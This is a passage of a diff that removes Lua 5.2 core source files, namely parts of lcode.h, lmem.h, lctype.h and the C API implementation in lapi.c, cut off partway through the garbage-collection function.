luaK_codeABx (FuncState *fs, OpCode o, int A, unsigned int Bx); -LUAI_FUNC int luaK_codeABC (FuncState *fs, OpCode o, int A, int B, int C); -LUAI_FUNC int luaK_codek (FuncState *fs, int reg, int k); -LUAI_FUNC void luaK_fixline (FuncState *fs, int line); -LUAI_FUNC void luaK_nil (FuncState *fs, int from, int n); -LUAI_FUNC void luaK_reserveregs (FuncState *fs, int n); -LUAI_FUNC void luaK_checkstack (FuncState *fs, int n); -LUAI_FUNC int luaK_stringK (FuncState *fs, TString *s); -LUAI_FUNC int luaK_numberK (FuncState *fs, lua_Number r); -LUAI_FUNC void luaK_dischargevars (FuncState *fs, expdesc *e); -LUAI_FUNC int luaK_exp2anyreg (FuncState *fs, expdesc *e); -LUAI_FUNC void luaK_exp2anyregup (FuncState *fs, expdesc *e); -LUAI_FUNC void luaK_exp2nextreg (FuncState *fs, expdesc *e); -LUAI_FUNC void luaK_exp2val (FuncState *fs, expdesc *e); -LUAI_FUNC int luaK_exp2RK (FuncState *fs, expdesc *e); -LUAI_FUNC void luaK_self (FuncState *fs, expdesc *e, expdesc *key); -LUAI_FUNC void luaK_indexed (FuncState *fs, expdesc *t, expdesc *k); -LUAI_FUNC void luaK_goiftrue (FuncState *fs, expdesc *e); -LUAI_FUNC void luaK_goiffalse (FuncState *fs, expdesc *e); -LUAI_FUNC void luaK_storevar (FuncState *fs, expdesc *var, expdesc *e); -LUAI_FUNC void luaK_setreturns (FuncState *fs, expdesc *e, int nresults); -LUAI_FUNC void luaK_setoneret (FuncState *fs, expdesc *e); -LUAI_FUNC int luaK_jump (FuncState *fs); -LUAI_FUNC void luaK_ret (FuncState *fs, int first, int nret); -LUAI_FUNC void luaK_patchlist (FuncState *fs, int list, int target); -LUAI_FUNC void luaK_patchtohere (FuncState *fs, int list); -LUAI_FUNC void luaK_patchclose (FuncState *fs, int list, int level); -LUAI_FUNC void luaK_concat (FuncState *fs, int *l1, int l2); -LUAI_FUNC int luaK_getlabel (FuncState *fs); -LUAI_FUNC void luaK_prefix (FuncState *fs, UnOpr op, expdesc *v, int line); -LUAI_FUNC void luaK_infix (FuncState *fs, BinOpr op, expdesc *v); -LUAI_FUNC void luaK_posfix (FuncState *fs, BinOpr op, expdesc *v1, - expdesc *v2, int line); -LUAI_FUNC void luaK_setlist (FuncState *fs, int base, int nelems, int tostore); - - -#endif -/* -** $Id: lmem.h,v 1.38 2011/12/02 13:26:54 roberto Exp $ -** Interface to Memory Manager -** See Copyright Notice in lua.h -*/ - -#ifndef lmem_h -#define lmem_h - - -#include - - - -#define luaM_reallocv(L,b,on,n,e) \ - ((cast(size_t, (n)+1) > MAX_SIZET/(e)) ? /* +1 to avoid warnings */ \ - (luaM_toobig(L), (void *)0) : \ - luaM_realloc_(L, (b), (on)*(e), (n)*(e))) - -#define luaM_freemem(L, b, s) luaM_realloc_(L, (b), (s), 0) -#define luaM_free(L, b) luaM_realloc_(L, (b), sizeof(*(b)), 0) -#define luaM_freearray(L, b, n) luaM_reallocv(L, (b), n, 0, sizeof((b)[0])) - -#define luaM_malloc(L,s) luaM_realloc_(L, NULL, 0, (s)) -#define luaM_new(L,t) cast(t *, luaM_malloc(L, sizeof(t))) -#define luaM_newvector(L,n,t) \ - cast(t *, luaM_reallocv(L, NULL, 0, n, sizeof(t))) - -#define luaM_newobject(L,tag,s) luaM_realloc_(L, NULL, tag, (s)) - -#define luaM_growvector(L,v,nelems,size,t,limit,e) \ - if ((nelems)+1 > (size)) \ - ((v)=cast(t *, luaM_growaux_(L,v,&(size),sizeof(t),limit,e))) - -#define luaM_reallocvector(L, v,oldn,n,t) \ - ((v)=cast(t *, luaM_reallocv(L, v, oldn, n, sizeof(t)))) - -LUAI_FUNC l_noret luaM_toobig (lua_State *L); - -/* not to be called directly */ -LUAI_FUNC void *luaM_realloc_ (lua_State *L, void *block, size_t oldsize, - size_t size); -LUAI_FUNC void *luaM_growaux_ (lua_State *L, void *block, int *size, - size_t size_elem, int limit, - const char *what); - -#endif - -/* -** $Id: lctype.h,v 1.12 2011/07/15 12:50:29 roberto Exp $ -** 'ctype' functions for Lua -** See Copyright Notice in lua.h -*/ - -#ifndef lctype_h -#define lctype_h - - - -/* -** WARNING: the functions defined here do not necessarily correspond -** to the similar functions in the standard C ctype.h. They are -** optimized for the specific needs of Lua -*/ - -#if !defined(LUA_USE_CTYPE) - -#if 'A' == 65 && '0' == 48 -/* ASCII case: can use its own tables; faster and fixed */ -#define LUA_USE_CTYPE 0 -#else -/* must use standard C ctype */ -#define LUA_USE_CTYPE 1 -#endif - -#endif - - -#if !LUA_USE_CTYPE /* { */ - -#include - - - -#define ALPHABIT 0 -#define DIGITBIT 1 -#define PRINTBIT 2 -#define SPACEBIT 3 -#define XDIGITBIT 4 - - -#define MASK(B) (1 << (B)) - - -/* -** add 1 to char to allow index -1 (EOZ) -*/ -#define testprop(c,p) (luai_ctype_[(c)+1] & (p)) - -/* -** 'lalpha' (Lua alphabetic) and 'lalnum' (Lua alphanumeric) both include '_' -*/ -#define lislalpha(c) testprop(c, MASK(ALPHABIT)) -#define lislalnum(c) testprop(c, (MASK(ALPHABIT) | MASK(DIGITBIT))) -#define lisdigit(c) testprop(c, MASK(DIGITBIT)) -#define lisspace(c) testprop(c, MASK(SPACEBIT)) -#define lisprint(c) testprop(c, MASK(PRINTBIT)) -#define lisxdigit(c) testprop(c, MASK(XDIGITBIT)) - -/* -** this 'ltolower' only works for alphabetic characters -*/ -#define ltolower(c) ((c) | ('A' ^ 'a')) - - -/* two more entries for 0 and -1 (EOZ) */ -LUAI_DDEC const lu_byte luai_ctype_[UCHAR_MAX + 2]; - - -#else /* }{ */ - -/* -** use standard C ctypes -*/ - -#include - - -#define lislalpha(c) (isalpha(c) || (c) == '_') -#define lislalnum(c) (isalnum(c) || (c) == '_') -#define lisdigit(c) (isdigit(c)) -#define lisspace(c) (isspace(c)) -#define lisprint(c) (isprint(c)) -#define lisxdigit(c) (isxdigit(c)) - -#define ltolower(c) (tolower(c)) - -#endif /* } */ - -#endif - -/* -** $Id: lapi.c,v 2.164 2012/06/08 15:14:04 roberto Exp $ -** Lua API -** See Copyright Notice in lua.h -*/ - - -#include -#include - -#define lapi_c -#define LUA_CORE - - - - - -const char lua_ident[] = - "$LuaVersion: " LUA_COPYRIGHT " $" - "$LuaAuthors: " LUA_AUTHORS " $"; - - -/* value at a non-valid index */ -#define NONVALIDVALUE cast(TValue *, luaO_nilobject) - -/* corresponding test */ -#define isvalid(o) ((o) != luaO_nilobject) - -#define api_checkvalidindex(L, i) api_check(L, isvalid(i), "invalid index") - - -static TValue *index2addr (lua_State *L, int idx) { - CallInfo *ci = L->ci; - if (idx > 0) { - TValue *o = ci->func + idx; - api_check(L, idx <= ci->top - (ci->func + 1), "unacceptable index"); - if (o >= L->top) return NONVALIDVALUE; - else return o; - } - else if (idx > LUA_REGISTRYINDEX) { - api_check(L, idx != 0 && -idx <= L->top - (ci->func + 1), "invalid index"); - return L->top + idx; - } - else if (idx == LUA_REGISTRYINDEX) - return &G(L)->l_registry; - else { /* upvalues */ - idx = LUA_REGISTRYINDEX - idx; - api_check(L, idx <= MAXUPVAL + 1, "upvalue index too large"); - if (ttislcf(ci->func)) /* light C function? */ - return NONVALIDVALUE; /* it has no upvalues */ - else { - CClosure *func = clCvalue(ci->func); - return (idx <= func->nupvalues) ? &func->upvalue[idx-1] : NONVALIDVALUE; - } - } -} - - -/* -** to be called by 'lua_checkstack' in protected mode, to grow stack -** capturing memory errors -*/ -static void growstack (lua_State *L, void *ud) { - int size = *(int *)ud; - luaD_growstack(L, size); -} - - -LUA_API int lua_checkstack (lua_State *L, int size) { - int res; - CallInfo *ci = L->ci; - lua_lock(L); - if (L->stack_last - L->top > size) /* stack large enough? */ - res = 1; /* yes; check is OK */ - else { /* no; need to grow stack */ - int inuse = cast_int(L->top - L->stack) + EXTRA_STACK; - if (inuse > LUAI_MAXSTACK - size) /* can grow without overflow? */ - res = 0; /* no */ - else /* try to grow stack */ - res = (luaD_rawrunprotected(L, &growstack, &size) == LUA_OK); - } - if (res && ci->top < L->top + size) - ci->top = L->top + size; /* adjust frame top */ - lua_unlock(L); - return res; -} - - -LUA_API void lua_xmove (lua_State *from, lua_State *to, int n) { - int i; - if (from == to) return; - lua_lock(to); - api_checknelems(from, n); - api_check(from, G(from) == G(to), "moving among independent states"); - api_check(from, to->ci->top - to->top >= n, "not enough elements to move"); - from->top -= n; - for (i = 0; i < n; i++) { - setobj2s(to, to->top++, from->top + i); - } - lua_unlock(to); -} - - -LUA_API lua_CFunction lua_atpanic (lua_State *L, lua_CFunction panicf) { - lua_CFunction old; - lua_lock(L); - old = G(L)->panic; - G(L)->panic = panicf; - lua_unlock(L); - return old; -} - - -LUA_API const lua_Number *lua_version (lua_State *L) { - static const lua_Number version = LUA_VERSION_NUM; - if (L == NULL) return &version; - else return G(L)->version; -} - - - -/* -** basic stack manipulation -*/ - - -/* -** convert an acceptable stack index into an absolute index -*/ -LUA_API int lua_absindex (lua_State *L, int idx) { - return (idx > 0 || idx <= LUA_REGISTRYINDEX) - ? idx - : cast_int(L->top - L->ci->func + idx); -} - - -LUA_API int lua_gettop (lua_State *L) { - return cast_int(L->top - (L->ci->func + 1)); -} - - -LUA_API void lua_settop (lua_State *L, int idx) { - StkId func = L->ci->func; - lua_lock(L); - if (idx >= 0) { - api_check(L, idx <= L->stack_last - (func + 1), "new top too large"); - while (L->top < (func + 1) + idx) - setnilvalue(L->top++); - L->top = (func + 1) + idx; - } - else { - api_check(L, -(idx+1) <= (L->top - (func + 1)), "invalid new top"); - L->top += idx+1; /* `subtract' index (index is negative) */ - } - lua_unlock(L); -} - - -LUA_API void lua_remove (lua_State *L, int idx) { - StkId p; - lua_lock(L); - p = index2addr(L, idx); - api_checkvalidindex(L, p); - while (++p < L->top) setobjs2s(L, p-1, p); - L->top--; - lua_unlock(L); -} - - -LUA_API void lua_insert (lua_State *L, int idx) { - StkId p; - StkId q; - lua_lock(L); - p = index2addr(L, idx); - api_checkvalidindex(L, p); - for (q = L->top; q>p; q--) setobjs2s(L, q, q-1); - setobjs2s(L, p, L->top); - lua_unlock(L); -} - - -static void moveto (lua_State *L, TValue *fr, int idx) { - TValue *to = index2addr(L, idx); - api_checkvalidindex(L, to); - setobj(L, to, fr); - if (idx < LUA_REGISTRYINDEX) /* function upvalue? */ - luaC_barrier(L, clCvalue(L->ci->func), fr); - /* LUA_REGISTRYINDEX does not need gc barrier - (collector revisits it before finishing collection) */ -} - - -LUA_API void lua_replace (lua_State *L, int idx) { - lua_lock(L); - api_checknelems(L, 1); - moveto(L, L->top - 1, idx); - L->top--; - lua_unlock(L); -} - - -LUA_API void lua_copy (lua_State *L, int fromidx, int toidx) { - TValue *fr; - lua_lock(L); - fr = index2addr(L, fromidx); - api_checkvalidindex(L, fr); - moveto(L, fr, toidx); - lua_unlock(L); -} - - -LUA_API void lua_pushvalue (lua_State *L, int idx) { - lua_lock(L); - setobj2s(L, L->top, index2addr(L, idx)); - api_incr_top(L); - lua_unlock(L); -} - - - -/* -** access functions (stack -> C) -*/ - - -LUA_API int lua_type (lua_State *L, int idx) { - StkId o = index2addr(L, idx); - return (isvalid(o) ? ttypenv(o) : LUA_TNONE); -} - - -LUA_API const char *lua_typename (lua_State *L, int t) { - UNUSED(L); - return ttypename(t); -} - - -LUA_API int lua_iscfunction (lua_State *L, int idx) { - StkId o = index2addr(L, idx); - return (ttislcf(o) || (ttisCclosure(o))); -} - - -LUA_API int lua_isnumber (lua_State *L, int idx) { - TValue n; - const TValue *o = index2addr(L, idx); - return tonumber(o, &n); -} - - -LUA_API int lua_isstring (lua_State *L, int idx) { - int t = lua_type(L, idx); - return (t == LUA_TSTRING || t == LUA_TNUMBER); -} - - -LUA_API int lua_isuserdata (lua_State *L, int idx) { - const TValue *o = index2addr(L, idx); - return (ttisuserdata(o) || ttislightuserdata(o)); -} - - -LUA_API int lua_rawequal (lua_State *L, int index1, int index2) { - StkId o1 = index2addr(L, index1); - StkId o2 = index2addr(L, index2); - return (isvalid(o1) && isvalid(o2)) ? luaV_rawequalobj(o1, o2) : 0; -} - - -LUA_API void lua_arith (lua_State *L, int op) { - StkId o1; /* 1st operand */ - StkId o2; /* 2nd operand */ - lua_lock(L); - if (op != LUA_OPUNM) /* all other operations expect two operands */ - api_checknelems(L, 2); - else { /* for unary minus, add fake 2nd operand */ - api_checknelems(L, 1); - setobjs2s(L, L->top, L->top - 1); - L->top++; - } - o1 = L->top - 2; - o2 = L->top - 1; - if (ttisnumber(o1) && ttisnumber(o2)) { - changenvalue(o1, luaO_arith(op, nvalue(o1), nvalue(o2))); - } - else - luaV_arith(L, o1, o1, o2, cast(TMS, op - LUA_OPADD + TM_ADD)); - L->top--; - lua_unlock(L); -} - - -LUA_API int lua_compare (lua_State *L, int index1, int index2, int op) { - StkId o1, o2; - int i = 0; - lua_lock(L); /* may call tag method */ - o1 = index2addr(L, index1); - o2 = index2addr(L, index2); - if (isvalid(o1) && isvalid(o2)) { - switch (op) { - case LUA_OPEQ: i = equalobj(L, o1, o2); break; - case LUA_OPLT: i = luaV_lessthan(L, o1, o2); break; - case LUA_OPLE: i = luaV_lessequal(L, o1, o2); break; - default: api_check(L, 0, "invalid option"); - } - } - lua_unlock(L); - return i; -} - - -LUA_API lua_Number lua_tonumberx (lua_State *L, int idx, int *isnum) { - TValue n; - const TValue *o = index2addr(L, idx); - if (tonumber(o, &n)) { - if (isnum) *isnum = 1; - return nvalue(o); - } - else { - if (isnum) *isnum = 0; - return 0; - } -} - - -LUA_API lua_Integer lua_tointegerx (lua_State *L, int idx, int *isnum) { - TValue n; - const TValue *o = index2addr(L, idx); - if (tonumber(o, &n)) { - lua_Integer res; - lua_Number num = nvalue(o); - lua_number2integer(res, num); - if (isnum) *isnum = 1; - return res; - } - else { - if (isnum) *isnum = 0; - return 0; - } -} - - -LUA_API lua_Unsigned lua_tounsignedx (lua_State *L, int idx, int *isnum) { - TValue n; - const TValue *o = index2addr(L, idx); - if (tonumber(o, &n)) { - lua_Unsigned res; - lua_Number num = nvalue(o); - lua_number2unsigned(res, num); - if (isnum) *isnum = 1; - return res; - } - else { - if (isnum) *isnum = 0; - return 0; - } -} - - -LUA_API int lua_toboolean (lua_State *L, int idx) { - const TValue *o = index2addr(L, idx); - return !l_isfalse(o); -} - - -LUA_API const char *lua_tolstring (lua_State *L, int idx, size_t *len) { - StkId o = index2addr(L, idx); - if (!ttisstring(o)) { - lua_lock(L); /* `luaV_tostring' may create a new string */ - if (!luaV_tostring(L, o)) { /* conversion failed? */ - if (len != NULL) *len = 0; - lua_unlock(L); - return NULL; - } - luaC_checkGC(L); - o = index2addr(L, idx); /* previous call may reallocate the stack */ - lua_unlock(L); - } - if (len != NULL) *len = tsvalue(o)->len; - return svalue(o); -} - - -LUA_API size_t lua_rawlen (lua_State *L, int idx) { - StkId o = index2addr(L, idx); - switch (ttypenv(o)) { - case LUA_TSTRING: return tsvalue(o)->len; - case LUA_TUSERDATA: return uvalue(o)->len; - case LUA_TTABLE: return luaH_getn(hvalue(o)); - default: return 0; - } -} - - -LUA_API lua_CFunction lua_tocfunction (lua_State *L, int idx) { - StkId o = index2addr(L, idx); - if (ttislcf(o)) return fvalue(o); - else if (ttisCclosure(o)) - return clCvalue(o)->f; - else return NULL; /* not a C function */ -} - - -LUA_API void *lua_touserdata (lua_State *L, int idx) { - StkId o = index2addr(L, idx); - switch (ttypenv(o)) { - case LUA_TUSERDATA: return (rawuvalue(o) + 1); - case LUA_TLIGHTUSERDATA: return pvalue(o); - default: return NULL; - } -} - - -LUA_API lua_State *lua_tothread (lua_State *L, int idx) { - StkId o = index2addr(L, idx); - return (!ttisthread(o)) ? NULL : thvalue(o); -} - - -LUA_API const void *lua_topointer (lua_State *L, int idx) { - StkId o = index2addr(L, idx); - switch (ttype(o)) { - case LUA_TTABLE: return hvalue(o); - case LUA_TLCL: return clLvalue(o); - case LUA_TCCL: return clCvalue(o); - case LUA_TLCF: return cast(void *, cast(size_t, fvalue(o))); - case LUA_TTHREAD: return thvalue(o); - case LUA_TUSERDATA: - case LUA_TLIGHTUSERDATA: - return lua_touserdata(L, idx); - default: return NULL; - } -} - - - -/* -** push functions (C -> stack) -*/ - - -LUA_API void lua_pushnil (lua_State *L) { - lua_lock(L); - setnilvalue(L->top); - api_incr_top(L); - lua_unlock(L); -} - - -LUA_API void lua_pushnumber (lua_State *L, lua_Number n) { - lua_lock(L); - setnvalue(L->top, n); - luai_checknum(L, L->top, - luaG_runerror(L, "C API - attempt to push a signaling NaN")); - api_incr_top(L); - lua_unlock(L); -} - - -LUA_API void lua_pushinteger (lua_State *L, lua_Integer n) { - lua_lock(L); - setnvalue(L->top, cast_num(n)); - api_incr_top(L); - lua_unlock(L); -} - - -LUA_API void lua_pushunsigned (lua_State *L, lua_Unsigned u) { - lua_Number n; - lua_lock(L); - n = lua_unsigned2number(u); - setnvalue(L->top, n); - api_incr_top(L); - lua_unlock(L); -} - - -LUA_API const char *lua_pushlstring (lua_State *L, const char *s, size_t len) { - TString *ts; - lua_lock(L); - luaC_checkGC(L); - ts = luaS_newlstr(L, s, len); - setsvalue2s(L, L->top, ts); - api_incr_top(L); - lua_unlock(L); - return getstr(ts); -} - - -LUA_API const char *lua_pushstring (lua_State *L, const char *s) { - if (s == NULL) { - lua_pushnil(L); - return NULL; - } - else { - TString *ts; - lua_lock(L); - luaC_checkGC(L); - ts = luaS_new(L, s); - setsvalue2s(L, L->top, ts); - api_incr_top(L); - lua_unlock(L); - return getstr(ts); - } -} - - -LUA_API const char *lua_pushvfstring (lua_State *L, const char *fmt, - va_list argp) { - const char *ret; - lua_lock(L); - luaC_checkGC(L); - ret = luaO_pushvfstring(L, fmt, argp); - lua_unlock(L); - return ret; -} - - -LUA_API const char *lua_pushfstring (lua_State *L, const char *fmt, ...) { - const char *ret; - va_list argp; - lua_lock(L); - luaC_checkGC(L); - va_start(argp, fmt); - ret = luaO_pushvfstring(L, fmt, argp); - va_end(argp); - lua_unlock(L); - return ret; -} - - -LUA_API void lua_pushcclosure (lua_State *L, lua_CFunction fn, int n) { - lua_lock(L); - if (n == 0) { - setfvalue(L->top, fn); - } - else { - Closure *cl; - api_checknelems(L, n); - api_check(L, n <= MAXUPVAL, "upvalue index too large"); - luaC_checkGC(L); - cl = luaF_newCclosure(L, n); - cl->c.f = fn; - L->top -= n; - while (n--) - setobj2n(L, &cl->c.upvalue[n], L->top + n); - setclCvalue(L, L->top, cl); - } - api_incr_top(L); - lua_unlock(L); -} - - -LUA_API void lua_pushboolean (lua_State *L, int b) { - lua_lock(L); - setbvalue(L->top, (b != 0)); /* ensure that true is 1 */ - api_incr_top(L); - lua_unlock(L); -} - - -LUA_API void lua_pushlightuserdata (lua_State *L, void *p) { - lua_lock(L); - setpvalue(L->top, p); - api_incr_top(L); - lua_unlock(L); -} - - -LUA_API int lua_pushthread (lua_State *L) { - lua_lock(L); - setthvalue(L, L->top, L); - api_incr_top(L); - lua_unlock(L); - return (G(L)->mainthread == L); -} - - - -/* -** get functions (Lua -> stack) -*/ - - -LUA_API void lua_getglobal (lua_State *L, const char *var) { - Table *reg = hvalue(&G(L)->l_registry); - const TValue *gt; /* global table */ - lua_lock(L); - gt = luaH_getint(reg, LUA_RIDX_GLOBALS); - setsvalue2s(L, L->top++, luaS_new(L, var)); - luaV_gettable(L, gt, L->top - 1, L->top - 1); - lua_unlock(L); -} - - -LUA_API void lua_gettable (lua_State *L, int idx) { - StkId t; - lua_lock(L); - t = index2addr(L, idx); - api_checkvalidindex(L, t); - luaV_gettable(L, t, L->top - 1, L->top - 1); - lua_unlock(L); -} - - -LUA_API void lua_getfield (lua_State *L, int idx, const char *k) { - StkId t; - lua_lock(L); - t = index2addr(L, idx); - api_checkvalidindex(L, t); - setsvalue2s(L, L->top, luaS_new(L, k)); - api_incr_top(L); - luaV_gettable(L, t, L->top - 1, L->top - 1); - lua_unlock(L); -} - - -LUA_API void lua_rawget (lua_State *L, int idx) { - StkId t; - lua_lock(L); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - setobj2s(L, L->top - 1, luaH_get(hvalue(t), L->top - 1)); - lua_unlock(L); -} - - -LUA_API void lua_rawgeti (lua_State *L, int idx, int n) { - StkId t; - lua_lock(L); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - setobj2s(L, L->top, luaH_getint(hvalue(t), n)); - api_incr_top(L); - lua_unlock(L); -} - - -LUA_API void lua_rawgetp (lua_State *L, int idx, const void *p) { - StkId t; - TValue k; - lua_lock(L); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - setpvalue(&k, cast(void *, p)); - setobj2s(L, L->top, luaH_get(hvalue(t), &k)); - api_incr_top(L); - lua_unlock(L); -} - - -LUA_API void lua_createtable (lua_State *L, int narray, int nrec) { - Table *t; - lua_lock(L); - luaC_checkGC(L); - t = luaH_new(L); - sethvalue(L, L->top, t); - api_incr_top(L); - if (narray > 0 || nrec > 0) - luaH_resize(L, t, narray, nrec); - lua_unlock(L); -} - - -LUA_API int lua_getmetatable (lua_State *L, int objindex) { - const TValue *obj; - Table *mt = NULL; - int res; - lua_lock(L); - obj = index2addr(L, objindex); - switch (ttypenv(obj)) { - case LUA_TTABLE: - mt = hvalue(obj)->metatable; - break; - case LUA_TUSERDATA: - mt = uvalue(obj)->metatable; - break; - default: - mt = G(L)->mt[ttypenv(obj)]; - break; - } - if (mt == NULL) - res = 0; - else { - sethvalue(L, L->top, mt); - api_incr_top(L); - res = 1; - } - lua_unlock(L); - return res; -} - - -LUA_API void lua_getuservalue (lua_State *L, int idx) { - StkId o; - lua_lock(L); - o = index2addr(L, idx); - api_checkvalidindex(L, o); - api_check(L, ttisuserdata(o), "userdata expected"); - if (uvalue(o)->env) { - sethvalue(L, L->top, uvalue(o)->env); - } else - setnilvalue(L->top); - api_incr_top(L); - lua_unlock(L); -} - - -/* -** set functions (stack -> Lua) -*/ - - -LUA_API void lua_setglobal (lua_State *L, const char *var) { - Table *reg = hvalue(&G(L)->l_registry); - const TValue *gt; /* global table */ - lua_lock(L); - api_checknelems(L, 1); - gt = luaH_getint(reg, LUA_RIDX_GLOBALS); - setsvalue2s(L, L->top++, luaS_new(L, var)); - luaV_settable(L, gt, L->top - 1, L->top - 2); - L->top -= 2; /* pop value and key */ - lua_unlock(L); -} - - -LUA_API void lua_settable (lua_State *L, int idx) { - StkId t; - lua_lock(L); - api_checknelems(L, 2); - t = index2addr(L, idx); - api_checkvalidindex(L, t); - luaV_settable(L, t, L->top - 2, L->top - 1); - L->top -= 2; /* pop index and value */ - lua_unlock(L); -} - - -LUA_API void lua_setfield (lua_State *L, int idx, const char *k) { - StkId t; - lua_lock(L); - api_checknelems(L, 1); - t = index2addr(L, idx); - api_checkvalidindex(L, t); - setsvalue2s(L, L->top++, luaS_new(L, k)); - luaV_settable(L, t, L->top - 1, L->top - 2); - L->top -= 2; /* pop value and key */ - lua_unlock(L); -} - - -LUA_API void lua_rawset (lua_State *L, int idx) { - StkId t; - lua_lock(L); - api_checknelems(L, 2); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - setobj2t(L, luaH_set(L, hvalue(t), L->top-2), L->top-1); - invalidateTMcache(hvalue(t)); - luaC_barrierback(L, gcvalue(t), L->top-1); - L->top -= 2; - lua_unlock(L); -} - - -LUA_API void lua_rawseti (lua_State *L, int idx, int n) { - StkId t; - lua_lock(L); - api_checknelems(L, 1); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - luaH_setint(L, hvalue(t), n, L->top - 1); - luaC_barrierback(L, gcvalue(t), L->top-1); - L->top--; - lua_unlock(L); -} - - -LUA_API void lua_rawsetp (lua_State *L, int idx, const void *p) { - StkId t; - TValue k; - lua_lock(L); - api_checknelems(L, 1); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - setpvalue(&k, cast(void *, p)); - setobj2t(L, luaH_set(L, hvalue(t), &k), L->top - 1); - luaC_barrierback(L, gcvalue(t), L->top - 1); - L->top--; - lua_unlock(L); -} - - -LUA_API int lua_setmetatable (lua_State *L, int objindex) { - TValue *obj; - Table *mt; - lua_lock(L); - api_checknelems(L, 1); - obj = index2addr(L, objindex); - api_checkvalidindex(L, obj); - if (ttisnil(L->top - 1)) - mt = NULL; - else { - api_check(L, ttistable(L->top - 1), "table expected"); - mt = hvalue(L->top - 1); - } - switch (ttypenv(obj)) { - case LUA_TTABLE: { - hvalue(obj)->metatable = mt; - if (mt) - luaC_objbarrierback(L, gcvalue(obj), mt); - luaC_checkfinalizer(L, gcvalue(obj), mt); - break; - } - case LUA_TUSERDATA: { - uvalue(obj)->metatable = mt; - if (mt) { - luaC_objbarrier(L, rawuvalue(obj), mt); - luaC_checkfinalizer(L, gcvalue(obj), mt); - } - break; - } - default: { - G(L)->mt[ttypenv(obj)] = mt; - break; - } - } - L->top--; - lua_unlock(L); - return 1; -} - - -LUA_API void lua_setuservalue (lua_State *L, int idx) { - StkId o; - lua_lock(L); - api_checknelems(L, 1); - o = index2addr(L, idx); - api_checkvalidindex(L, o); - api_check(L, ttisuserdata(o), "userdata expected"); - if (ttisnil(L->top - 1)) - uvalue(o)->env = NULL; - else { - api_check(L, ttistable(L->top - 1), "table expected"); - uvalue(o)->env = hvalue(L->top - 1); - luaC_objbarrier(L, gcvalue(o), hvalue(L->top - 1)); - } - L->top--; - lua_unlock(L); -} - - -/* -** `load' and `call' functions (run Lua code) -*/ - - -#define checkresults(L,na,nr) \ - api_check(L, (nr) == LUA_MULTRET || (L->ci->top - L->top >= (nr) - (na)), \ - "results from function overflow current stack size") - - -LUA_API int lua_getctx (lua_State *L, int *ctx) { - if (L->ci->callstatus & CIST_YIELDED) { - if (ctx) *ctx = L->ci->u.c.ctx; - return L->ci->u.c.status; - } - else return LUA_OK; -} - - -LUA_API void lua_callk (lua_State *L, int nargs, int nresults, int ctx, - lua_CFunction k) { - StkId func; - lua_lock(L); - api_check(L, k == NULL || !isLua(L->ci), - "cannot use continuations inside hooks"); - api_checknelems(L, nargs+1); - api_check(L, L->status == LUA_OK, "cannot do calls on non-normal thread"); - checkresults(L, nargs, nresults); - func = L->top - (nargs+1); - if (k != NULL && L->nny == 0) { /* need to prepare continuation? */ - L->ci->u.c.k = k; /* save continuation */ - L->ci->u.c.ctx = ctx; /* save context */ - luaD_call(L, func, nresults, 1); /* do the call */ - } - else /* no continuation or no yieldable */ - luaD_call(L, func, nresults, 0); /* just do the call */ - adjustresults(L, nresults); - lua_unlock(L); -} - - - -/* -** Execute a protected call. -*/ -struct CallS { /* data to `f_call' */ - StkId func; - int nresults; -}; - - -static void f_call (lua_State *L, void *ud) { - struct CallS *c = cast(struct CallS *, ud); - luaD_call(L, c->func, c->nresults, 0); -} - - - -LUA_API int lua_pcallk (lua_State *L, int nargs, int nresults, int errfunc, - int ctx, lua_CFunction k) { - struct CallS c; - int status; - ptrdiff_t func; - lua_lock(L); - api_check(L, k == NULL || !isLua(L->ci), - "cannot use continuations inside hooks"); - api_checknelems(L, nargs+1); - api_check(L, L->status == LUA_OK, "cannot do calls on non-normal thread"); - checkresults(L, nargs, nresults); - if (errfunc == 0) - func = 0; - else { - StkId o = index2addr(L, errfunc); - api_checkvalidindex(L, o); - func = savestack(L, o); - } - c.func = L->top - (nargs+1); /* function to be called */ - if (k == NULL || L->nny > 0) { /* no continuation or no yieldable? */ - c.nresults = nresults; /* do a 'conventional' protected call */ - status = luaD_pcall(L, f_call, &c, savestack(L, c.func), func); - } - else { /* prepare continuation (call is already protected by 'resume') */ - CallInfo *ci = L->ci; - ci->u.c.k = k; /* save continuation */ - ci->u.c.ctx = ctx; /* save context */ - /* save information for error recovery */ - ci->extra = savestack(L, c.func); - ci->u.c.old_allowhook = L->allowhook; - ci->u.c.old_errfunc = L->errfunc; - L->errfunc = func; - /* mark that function may do error recovery */ - ci->callstatus |= CIST_YPCALL; - luaD_call(L, c.func, nresults, 1); /* do the call */ - ci->callstatus &= ~CIST_YPCALL; - L->errfunc = ci->u.c.old_errfunc; - status = LUA_OK; /* if it is here, there were no errors */ - } - adjustresults(L, nresults); - lua_unlock(L); - return status; -} - - -LUA_API int lua_load (lua_State *L, lua_Reader reader, void *data, - const char *chunkname, const char *mode) { - ZIO z; - int status; - lua_lock(L); - if (!chunkname) chunkname = "?"; - luaZ_init(L, &z, reader, data); - status = luaD_protectedparser(L, &z, chunkname, mode); - if (status == LUA_OK) { /* no errors? */ - LClosure *f = clLvalue(L->top - 1); /* get newly created function */ - if (f->nupvalues == 1) { /* does it have one upvalue? */ - /* get global table from registry */ - Table *reg = hvalue(&G(L)->l_registry); - const TValue *gt = luaH_getint(reg, LUA_RIDX_GLOBALS); - /* set global table as 1st upvalue of 'f' (may be LUA_ENV) */ - setobj(L, f->upvals[0]->v, gt); - luaC_barrier(L, f->upvals[0], gt); - } - } - lua_unlock(L); - return status; -} - - -LUA_API int lua_dump (lua_State *L, lua_Writer writer, void *data) { - int status; - TValue *o; - lua_lock(L); - api_checknelems(L, 1); - o = L->top - 1; - if (isLfunction(o)) - status = luaU_dump(L, getproto(o), writer, data, 0); - else - status = 1; - lua_unlock(L); - return status; -} - - -LUA_API int lua_status (lua_State *L) { - return L->status; -} - - -/* -** Garbage-collection function -*/ - -LUA_API int lua_gc (lua_State *L, int what, int data) { - int res = 0; - global_State *g; - lua_lock(L); - g = G(L); - switch (what) { - case LUA_GCSTOP: { - g->gcrunning = 0; - break; - } - case LUA_GCRESTART: { - luaE_setdebt(g, 0); - g->gcrunning = 1; - break; - } - case LUA_GCCOLLECT: { - luaC_fullgc(L, 0); - break; - } - case 